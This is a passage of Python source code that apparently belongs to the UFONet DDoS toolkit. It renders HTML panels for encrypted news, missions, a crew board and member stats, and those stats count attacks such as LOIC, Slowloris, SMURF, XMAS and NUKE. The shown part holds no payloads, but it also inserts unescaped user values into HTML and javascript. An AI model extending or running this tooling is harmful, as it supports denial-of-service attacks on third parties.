  404. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  405. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  406. <tr>
  407. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td></tr>
  408. </tr>
  409. </table>
  410. </td></tr></table>
  411. <br><hr>
  412. <div id="cmdOut"></div>
  413. """ + self.pages["/footer"]
  414. def hmac_sha1(self, key, msg):
  415. if len(key) > 20:
  416. key = sha1(key).digest()
  417. key += chr(0) * (20 - len(key))
  418. o_key_pad = key.translate(self.trans_5C)
  419. i_key_pad = key.translate(self.trans_36)
  420. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  421. def derive_keys(self, key):
  422. h = sha256()
  423. h.update(key)
  424. h.update('cipher')
  425. cipher_key = h.digest()
  426. h = sha256()
  427. h.update(key)
  428. h.update('mac')
  429. mac_key = h.digest()
  430. return (cipher_key, mac_key)
  431. def decrypt(self, key, text):
  432. KEY_SIZE = 32
  433. BLOCK_SIZE = 16
  434. MAC_SIZE = 20
  435. mode = AES.MODE_CFB
  436. try:
  437. iv_ciphertext_mac = b64decode(text)
  438. except TypeError:
  439. return None
  440. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  441. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  442. mac = iv_ciphertext_mac[-MAC_SIZE:]
  443. (cipher_key, mac_key) = self.derive_keys(key)
  444. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  445. if mac != expected_mac:
  446. return None
  447. aes = AES.new(cipher_key, mode, iv)
  448. self.decryptedtext = aes.decrypt(ciphertext)
  449. def encrypt(self, key, text):
  450. from server.crypter import Cipher
  451. from base64 import b64encode, b64decode
  452. key = b64encode(key)
  453. c = Cipher(key, text)
  454. msg = c.encrypt()
  455. c.set_text(msg)
  456. self.encryptedtext = str(msg)
  457. def html_news(self):
  458. return self.pages["/header"] + """<script language="javascript">
  459. function Decrypt(){
  460. news_key=document.getElementById("news_key").value
  461. if(news_key == "") {
  462. window.alert("You need to enter a valid key (provided by someone)");
  463. return
  464. }else{
  465. params="news_key="+escape(news_key)
  466. runCommandX("cmd_decrypt",params)
  467. document.getElementById("nb1").style.display = "none";
  468. }
  469. }
  470. </script>
  471. <script language="javascript">
  472. function RefreshNews(){
  473. news_source=document.getElementById("news_source").value
  474. if(news_source == "") {
  475. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  476. return
  477. }else{
  478. params="news_source="+escape(news_source)
  479. runCommandX("cmd_refresh_news",params)
  480. document.getElementById("nb1").style.display = "none";
  481. setTimeout("location.reload()", 10000)
  482. }
  483. }
  484. </script>
  485. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  486. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  487. <br>
  488. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  489. <td>Blackhole/IP:</td>
  490. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  491. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  492. <hr>
  493. <table cellpadding="5" cellspacing="5"><tr>
  494. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to CryptoNews!...');"><img src="/images/aliens/alien1.png"></a></td><td>
  495. <table cellpading="5" cellspacing="10"><tr><td>
  496. <form method='GET'>
  497. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  498. </td></tr><tr><td>
  499. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  500. </form>
  501. </td></tr></table></td></tr></table>
  502. <hr><br>
  503. </center>
  504. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  505. <div id="cmdOut"></div>
  506. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  507. """ + self.pages["/footer"]
  508. def html_missions(self):
  509. return self.pages["/header"] + """<script language="javascript">
  510. function Decrypt(){
  511. missions_key=document.getElementById("missions_key").value
  512. if(missions_key == "") {
  513. window.alert("You need to enter a valid key (provided by someone)");
  514. return
  515. }else{
  516. params="missions_key="+escape(missions_key)
  517. runCommandX("cmd_decrypt",params)
  518. document.getElementById("nb1").style.display = "none";
  519. }
  520. }
  521. </script>
  522. <script language="javascript">
  523. function RefreshMissions(){
  524. missions_source=document.getElementById("missions_source").value
  525. if(missions_source == "") {
  526. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  527. return
  528. }else{
  529. params="missions_source="+escape(missions_source)
  530. runCommandX("cmd_refresh_missions",params)
  531. document.getElementById("nb1").style.display = "none";
  532. setTimeout("location.reload()", 10000)
  533. }
  534. }
  535. </script>
  536. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  537. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  538. <br>
  539. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  540. <td>Blackhole/IP:</td>
  541. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  542. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  543. <hr>
  544. <table cellpadding="5" cellspacing="5"><tr>
  545. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to CryptoMissions!...');"><img src="/images/aliens/alien2.png"></a></td><td>
  546. <table cellpading="5" cellspacing="10"><tr><td>
  547. <form method='GET'>
  548. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  549. </td></tr><tr><td>
  550. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  551. </form>
  552. </td></tr></table></td></tr></table>
  553. <hr><br>
  554. </center>
  555. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  556. <div id="cmdOut"></div>
  557. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  558. """ + self.pages["/footer"]
  559. def html_board(self):
  560. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  561. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  562. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  563. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  564. device_state = "OFF"
  565. device = "Board device: <font color='red'>OFF</font><br>"
  566. else:
  567. device_state = "ON"
  568. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  569. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  570. data = json.load(boardcfg_json_file)
  571. boardcfg_json_file.close()
  572. profile_token = data["profile_token"]
  573. profile_icon = data["profile_icon"]
  574. profile_nick = data["profile_nick"]
  575. self.profile_nick.encode('utf-8')
  576. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='images/crew/"+str(profile_icon)+".png'></td></tr><tr><td> -NICKNAME: "+self.profile_nick.encode('utf-8')+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  577. if device_state == "OFF":
  578. board_filter = ""
  579. else:
  580. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  581. if device_state == "OFF":
  582. sync_panel = ""
  583. else:
  584. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  585. if device_state == "OFF":
  586. board_panel = ""
  587. else:
  588. with open(self.board_file) as f:
  589. for line in f:
  590. line = line.strip()
  591. self.board_warning += "\n" + " " + line + " " + "\n"
  592. f.close()
  593. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  594. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  595. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  596. if device_state == "OFF":
  597. remove_profile = ""
  598. else:
  599. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  600. return self.pages["/header"] + """<script language="javascript">
  601. function BoardProfile() {
  602. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  603. }
  604. function RemoveProfile() {
  605. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  606. }
  607. function Decrypt_board(){
  608. board_key=document.getElementById("board_key").value
  609. if (document.getElementById('filter_all').checked) {
  610. filter = document.getElementById('filter_all').value;
  611. }
  612. if (document.getElementById('filter_general').checked) {
  613. filter = document.getElementById('filter_general').value;
  614. }
  615. if (document.getElementById('filter_opsec').checked) {
  616. filter = document.getElementById('filter_opsec').value;
  617. }
  618. if (document.getElementById('filter_faq').checked) {
  619. filter = document.getElementById('filter_faq').value;
  620. }
  621. if (document.getElementById('filter_bugs').checked) {
  622. filter = document.getElementById('filter_bugs').value;
  623. }
  624. if (document.getElementById('filter_media').checked) {
  625. filter = document.getElementById('filter_media').value;
  626. }
  627. if(board_key == "") {
  628. window.alert("You need to enter a valid key (provided by someone)");
  629. return
  630. }else{
  631. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  632. runCommandX("cmd_decrypt_moderator_board",params)
  633. document.getElementById("nb1").style.display = "none";
  634. }
  635. }
  636. function OptionsCheck() {
  637. if (document.getElementById('read').checked) {
  638. document.getElementById('board_read').style.display = 'block';
  639. document.getElementById('board_send').style.display = 'none';
  640. document.getElementById('board_warning').style.display = 'none';
  641. }
  642. else if(document.getElementById('write').checked) {
  643. document.getElementById('board_send').style.display = 'block';
  644. document.getElementById('board_warning').style.display = 'block';
  645. document.getElementById('board_read').style.display = 'none';
  646. }
  647. }
  648. function Sync_panel(){
  649. document.getElementById("sync_panel_block").style.display = "block";
  650. }
  651. function SyncBoard(){
  652. document.getElementById('nb1').style.display = 'none';
  653. board_source=document.getElementById("board_source").value
  654. if(board_source == "") {
  655. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  656. return
  657. }else{
  658. params="board_source="+escape(board_source)
  659. runCommandX("cmd_sync_board",params)
  660. setTimeout("location.reload()", 10000)
  661. }
  662. }
  663. </script>
  664. <script language="javascript">
  665. function SendMessage() {
  666. board_source=document.getElementById("board_source_send").value
  667. board_key=document.getElementById("board_key").value
  668. stream_txt=document.getElementById("stream_txt").value
  669. board_selector=document.getElementById("board_selector");
  670. board_topic = board_selector.options[board_selector.selectedIndex].value;
  671. if(board_key == "") {
  672. board_key='"""+str(self.crypto_key)+"""';
  673. }else{
  674. if(stream_txt == "") {
  675. window.alert("You need to enter a message! (~ 1-140 characters)");
  676. return
  677. }else{
  678. if(board_source == "") {
  679. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  680. return
  681. }else{
  682. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  683. runCommandX("cmd_send_message_board",params)
  684. setTimeout("location.reload()", 10000)
  685. }
  686. }
  687. }
  688. }
  689. </script>
  690. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  691. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  692. <br>
  693. <center>
  694. <table cellpadding="5" cellspacing="5"><tr>
  695. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src="/images/board.png"></a></td><td>
  696. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  697. </td></tr></table></tr></table>
  698. <hr><br>"""+board_panel+"""
  699. """ + self.pages["/footer"]
  700. def generate_grid(self):
  701. with open(self.grid_file) as f:
  702. for line in f:
  703. line = line.strip()
  704. f.close()
  705. mothership_members = 0 # mothership_members stats bonus
  706. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANKING:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  707. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, contact, ID
  708. if grid_msg_sep in m:
  709. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  710. m = m.split(grid_msg_sep)
  711. grid_nickname = m[0][0:12]
  712. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  713. mothership_members = mothership_members + 1
  714. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  715. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  716. grid_totalchargo = m[2][0:4] # total chargo
  717. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  718. grid_dorking = m[3][0:4] # dorking
  719. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  720. grid_transferred = m[4][0:4] # transferred
  721. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  722. grid_maxchargo = m[5][0:4] # maxchargo
  723. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  724. grid_missions = m[6][0:4] # missions
  725. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  726. grid_attacks = m[7][0:4] # attacks
  727. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  728. grid_loic = m[8][0:4] # loic
  729. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  730. if version > 15: # v1.2.1
  731. grid_loris = m[9][0:4] # loris
  732. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  733. grid_ufosyn = m[10][0:4] # ufosyn
  734. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  735. grid_spray = m[11][0:4] # spray
  736. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  737. grid_smurf = m[12][0:4] # smurf
  738. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  739. grid_xmas = m[13][0:4] # xmas
  740. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  741. grid_nuke = m[14][0:4] # nuke
  742. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  743. try:
  744. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  745. except:
  746. grid_contact= "invalid"
  747. try:
  748. grid_id = m[16] # id (plain id)
  749. except:
  750. grid_id = "invalid!"
  751. elif version == 15: # v1.2
  752. grid_loris = m[9][0:4] # loris
  753. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  754. grid_ufosyn = m[10][0:4] # ufosyn
  755. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  756. grid_spray = m[11][0:4] # spray
  757. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  758. grid_smurf = m[12][0:4] # smurf
  759. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  760. grid_xmas = m[13][0:4] # xmas
  761. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  762. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  763. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  764. try:
  765. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  766. except:
  767. grid_contact= "invalid"
  768. try:
  769. grid_id = m[15] # id (plain id)
  770. except:
  771. grid_id = "invalid!"
  772. elif version == 12: # v1.1
  773. grid_loris = m[9][0:4] # loris
  774. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  775. grid_ufosyn = m[10][0:4] # ufosyn
  776. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  777. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  778. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  779. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  780. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  781. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  782. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  783. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  784. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  785. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  786. try:
  787. grid_id = m[12] # id (plain id)
  788. except:
  789. grid_id = "invalid!"
  790. elif version == 11: # v1.0
  791. grid_loris = m[9][0:4] # loris
  792. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  793. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  794. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  795. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  796. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  797. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  798. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  799. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  800. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  801. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  802. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  803. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  804. try:
  805. grid_id = m[11] # id (plain id)
  806. except:
  807. grid_id = "invalid!"
  808. elif version == 10: # v0.9
  809. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  810. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  811. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  812. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  813. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  814. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  815. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  816. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  817. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  818. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  819. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  820. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  821. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  822. try:
  823. grid_id = m[10] # id (plain id)
  824. except:
  825. grid_id = "invalid!"
  826. else: # no valid version
  827. pass
  828. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  829. else: # not valid stream data
  830. pass
  831. grid_table += "</table>"
  832. if mothership_members == 0:
  833. mothership_members = "¿?"
  834. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  835. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td></tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td><td>XMAS:</td><td>¿?</td></tr><tr><td>NUKE:</td><td>¿?</td></tr></table><br><hr><br>"
  836. grid_table = mother_grid + grid_table + "</div>"
  837. return grid_table
  838. def html_grid(self):
  839. if self.ranking == "Rookie": # Rookie
  840. your_ranking = "<font color='white'>Rookie [*]</font>"
  841. elif self.ranking == "Mercenary": # Mercenary
  842. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  843. elif self.ranking == "Bandit": # Bandit
  844. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  845. elif self.ranking == "UFOmmander!": # UFOmmander!
  846. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  847. elif self.ranking == "UFOl33t!": # UFOl33t!
  848. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  849. else:
  850. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  851. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  852. device_state = "OFF"
  853. device = "Grid device: <font color='red'>OFF</font><br>"
  854. else:
  855. device_state = "ON"
  856. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  857. data = json.load(gridcfg_json_file)
  858. gridcfg_json_file.close()
  859. grid_token = data["grid_token"]
  860. grid_contact = data["grid_contact"]
  861. grid_contact.encode('utf-8')
  862. grid_nick = data["grid_nick"]
  863. grid_nick.encode('utf-8')
  864. device = "<table cellpadding='5'><tr><td> -CONTACT: "+grid_contact.encode('utf-8')+"</td></tr><tr><td> -NICKNAME: "+grid_nick.encode('utf-8')+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  865. if device_state == "OFF":
  866. grid_panel = ""
  867. else:
  868. grid_table = self.generate_grid()
  869. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
